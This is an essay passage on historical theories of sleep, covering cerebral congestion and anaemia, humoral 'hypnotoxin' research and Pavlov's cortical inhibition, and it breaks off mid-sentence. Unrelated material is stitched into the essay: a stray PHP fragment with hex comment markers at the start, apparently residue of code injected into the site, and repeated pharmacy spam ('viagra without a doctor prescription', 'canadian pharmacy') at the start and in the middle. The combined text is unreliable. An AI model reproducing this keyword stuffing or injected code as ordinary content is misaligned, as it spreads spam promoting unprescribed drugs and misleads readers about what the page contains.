#74ed9f# if(empty($vjy)) { $vjy = " "; echo $vjy; } #/74ed9f# real viagra for sale Lines two thousand years ago, and considered that sleep resulted from warm vapours rising from within the stomach. In the last century, with more advancements in the understanding of the brain, heart and vascular system, one school of thought considered sleep to be caused by the "congestion of the brain" by blood. This contrasted with another popular theory at the time, of "cerebral anaemia", due to blood being drawn away from the brain and diverted elsewhere in the body, especially to the gut. Such ideas even led to opposing beliefs about how to induce "better" sleep. Some propounded sleeping without pillows to encourage blood flow to the head, and others encouraged the opposite - use plenty of pillows to drain the blood away. "behavioural" theories were also common in the 19th century, particularly that sleep was due to an absence of external stimulation, with wakefulness only being possible if the organism was constantly stimulated. Take the stimulation away and the animal will fall asleep. To some extent this notion is true, as we can all testify, but it is not the answer. At the turn of this century a popular view was that sleep was not so much a passive response, but an active process like an instinct, to avoid fatigue occurring. At this time there were also many "humoral" theories, whereby various sleep inducing substances were proposed to accumulated in the brain. These ranged from known chemicals like lactic acid, carbon dioxide and cholesterol, to the vaguely described "leucomaines" and "urotoxins". cheap generic viagra canadian pharmacy viagra no prescription cheap viagra online buy generic viagra buy cheap viagra cheap generic viagra india viagra online viagra without a doctor prescription buy viagra online viagra without a doctor prescription Nevertheless, by 1907 some headway began to be made when two french researchers, drs rene legendre and henri pieron, claimed to have obtained a substance they called "hypnotoxin" from sleep deprived animals. This gave a large boost to the humoral theories for the next twenty years or so, with much activity by several groups of researchers. However, success was hard to come by and interest dwindled. That is, until the 1960s, when great headway has since been made into "sleep substances". In those interim years there were advances in neurophysiology that could be related to sleep, and a spate of different neural "inhibition" theories for sleep appeared. Many had had their early impetus from pavlov's views on "cortical inhibition" - that sleep originated from a form of blocking within the cerebral hemispheres. Although pavlov dismissed the alternative, of sleep inducing "centres" in more basic parts of the brain below the cortex, these have since been found to exist, and h.